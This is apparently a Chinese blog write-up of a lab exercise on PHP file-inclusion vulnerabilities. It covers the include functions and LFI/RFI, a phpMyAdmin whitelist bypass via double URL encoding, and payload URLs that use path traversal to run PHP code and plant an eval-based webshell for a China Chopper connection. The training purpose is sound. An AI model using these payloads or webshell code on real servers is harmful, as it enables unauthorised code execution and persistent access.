文件包含漏洞 --- zkaq

1.概念

1.文件包含:利用开发语言的内置文件包含函数,在一个代码文件中引入了另外一个代码文件

一句话概括:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。

文件包含核心就是引用

2.php常用的文件包含函数

  • include():文件包含,代码用到才去读取使用
  • require():文件包含,在代码执行前就去读取包含的文件一起执行
  • include_once():同一个文件只包含一次
  • require_once():同一个文件只包含一次

区别:include遇到错误还会往下执行,但是require不会

知识点—LFI&RFI:

  • LFI(Local File Include):本地文件包含
  • RFI(Remote File Include):远程文件包含

2.靶场

1.本地代码审计phpadmin源码,搜索文件包含函数include

2.分析关键函数的触发条件

1、target传参不为空和0
2、target传参必须为字符串
3、传参不能index开头
4、传参不能在白名单中
5、满足Core类中的checkPageValidity方法中的为true的条件

分析Core类中的checkPageValidity方法中的为true的条件

第三个if要求白名单,不可行;第四个if截取问号之前的函数进行白名单匹配,但传进include之后问号会报错;第五个if截取问号之前的函数进行白名单匹配,两次url编码传进include绕过

3.登录靶场建立数据库数据表,写入一句话木马

查看数据库路径

木马尝试,payload:http://wjbh522a.zs.aqlab.cn/index.php?target=server_binlog.php%253F/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/plot/test.frm&888=phpinfo();

4.创建php webshell拿数据

上面的木马直接用菜刀连不上,需要浏览器登录才能访问,所以写一个php webshell

payload:http://wjbh522a.zs.aqlab.cn/index.php?target=server_binlog.php%253F/…/…/…/…/…/…/…/…/phpStudy/MySQL/data/plot/test.frm&888=file_put_contents(‘222.php’,‘<?php eval($_REQUEST[555])?>;’);

5.菜刀连接

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值